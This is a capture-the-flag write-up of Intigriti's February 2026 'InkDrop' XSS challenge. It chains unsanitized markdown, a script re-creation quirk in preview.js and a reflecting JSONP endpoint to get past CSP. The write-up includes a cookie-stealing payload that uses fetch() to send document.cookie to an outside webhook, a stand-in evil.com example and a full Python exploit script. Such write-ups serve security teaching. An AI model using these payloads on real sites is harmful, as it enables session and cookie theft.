Skip to content

Instantly share code, notes, and snippets.

@dr4g0n369
Last active February 22, 2026 09:20
Show Gist options
  • Select an option

  • Save dr4g0n369/14dcbbdccec96760248d72d124411782 to your computer and use it in GitHub Desktop.

Select an option

Save dr4g0n369/14dcbbdccec96760248d72d124411782 to your computer and use it in GitHub Desktop.
Intigriti February Challenge Writeup

Intigriti February 2026 Challenge — InkDrop Writeup

Challenge URL: https://challenge-0226.intigriti.io/challenge


Challenge Description

InkDrop is a simple blogging website where you can create posts. There's also a bot (an automated browser) that acts as an admin moderator. When you write a post and click "Report to Moderator", the bot opens your post in its own browser.

The bot carries a secret cookie containing the flag. Our goal is to make the bot's browser run our own JavaScript code when it visits our post, so we can steal that cookie and read the flag.

This type of attack is called XSS (Cross-Site Scripting) — we're injecting our own script into a web page so it runs in someone else's browser.


Understanding the App

After looking at the source code, here's what the app does:

  • Users can register, login, create posts, and view their own posts.
  • Posts are stored in a database. When you view a post, a JavaScript file called preview.js loads the post content from an API endpoint and displays it.
  • Reporting a post sends a message to the bot. The bot then logs in as admin, opens the post in a real Chromium browser, and waits 5 seconds before closing it.
  • The flag is stored as a cookie in the bot's browser. The cookie is not httpOnly, which means JavaScript running on the page can read it using document.cookie.

Here is the post view page. Notice the "Report to Moderator" button at the bottom — that's what triggers the bot to visit our post.


Finding the Vulnerabilities

We need to find a way to run our own JavaScript in the bot's browser. Let's look at the code piece by piece.

Vulnerability 1: No HTML Sanitization

When you create a post, the content goes through a function called render_markdown(). This function converts markdown syntax (like **bold**) into HTML. But it never removes or escapes raw HTML tags. So if you type <h1>hello</h1> as your post content, it gets passed through as-is.

This means we can inject any HTML we want into the rendered output, including <script> tags.

# From app.py — the render_markdown function
def render_markdown(content):
    html_content = content
    # It does some regex replacements for markdown...
    html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
    # ...but NEVER sanitizes or removes HTML tags!
    return html_content

Vulnerability 2: The Script Re-creation Trick in preview.js

When you view a post, preview.js fetches the rendered HTML from /api/render and puts it into the page using innerHTML. Normally, <script> tags inserted via innerHTML don't execute — that's a browser security feature.

But look at what preview.js does next:

// From preview.js — the processContent function
function processContent(container) {
    // ...
    const scripts = container.querySelectorAll('script');
    scripts.forEach(function(script) {
        if (script.src && script.src.includes('/api/')) {
            // It creates a BRAND NEW script element and adds it to the page!
            const newScript = document.createElement('script');
            newScript.src = script.src;
            document.body.appendChild(newScript);
        }
    });
}

It looks for any <script> tags in the rendered content, and if the src attribute contains /api/, it re-creates the script element and adds it to the page. This new script will execute!

So if we inject a <script src="/api/something"> tag in our post, the script will be loaded and run.

Vulnerability 3: JSONP Endpoint Reflects Our Code

The app has a JSONP endpoint at /api/jsonp. JSONP is an old technique where the server wraps JSON data inside a function call. The function name comes from the callback query parameter and whatever you pass gets reflected into the response:

Request:  GET /api/jsonp?callback=myFunction
Response: myFunction({"authenticated": false, "timestamp": 123456})

The only filter is that < and > are blocked in the callback — but we don't need those characters for JavaScript code!

This means we can make the server return any JavaScript code we want by controlling the callback parameter:

Request:  GET /api/jsonp?callback=fetch('https://evil.com')//
Response: fetch('https://evil.com')//{"authenticated": false, ...}

The // at the end comments out the JSON data, so only our fetch() runs.

Vulnerability 4: CSP Allows This

The page has a Content Security Policy (CSP) that restricts which scripts can run:

script-src 'self'; connect-src *;
  • script-src 'self' — only scripts from the same website can run. The JSONP endpoint is on the same website, so it's allowed!
  • connect-src * — the page can make network requests to any URL. This lets us send the stolen cookie to our server.

Building the Attack

Now we chain everything together:

1. Create a post containing:
   <script src="/api/jsonp?callback=OUR_JAVASCRIPT_CODE//"></script>

2. When the bot visits our post:
   - preview.js fetches the rendered HTML from /api/render
   - It finds our <script> tag and re-creates it
   - The browser loads /api/jsonp?callback=OUR_CODE//
   - The JSONP endpoint returns our code as valid JavaScript
   - Our code runs in the bot's browser!

3. Our code reads document.cookie (which contains the flag)
   and sends it to our server using fetch()

The Final Payload

Our post content will be:

<script src="/api/jsonp?callback=fetch('https://YOUR-SERVER/?cookie='%2bdocument.cookie)//"></script>

Running the Exploit

Here's the exploit script that automates everything:

import requests
import re

BASE_URL = "https://challenge-0226.intigriti.io"
WEBHOOK_URL = "https://your-server.requestcatcher.com/xss"

s = requests.Session()

# 1. Register and login
username = "random"
password = "random"
s.post(f"{BASE_URL}/register", data={"username": username, "password": password})
s.post(f"{BASE_URL}/login", data={"username": username, "password": password})

# 2. Create a post with our XSS payload
callback = f"fetch('{WEBHOOK_URL}?cookie='%2bdocument.cookie)//"
payload = f'<script src="/api/jsonp?callback={callback}"></script>'

r = s.post(f"{BASE_URL}/post/new", data={
    "title": "Interesting Article",
    "content": payload
}, allow_redirects=True)

# 3. Get the post ID from the redirect URL
post_id = r.url.split('/post/')[-1]
print(f"Created post: {post_id}")

# 4. Report the post so the bot visits it
s.post(f"{BASE_URL}/report/{post_id}")
print("Reported! Check your webhook for the flag.")

After running this:

  1. The bot logs in as admin
  2. The bot opens our post in its browser
  3. preview.js loads and re-creates our script tag
  4. The JSONP endpoint returns our JavaScript
  5. Our JavaScript runs and sends document.cookie to our webhook
  6. We receive the flag!

The Flag

On our webhook, we receive a request with the cookie:

Flag: INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment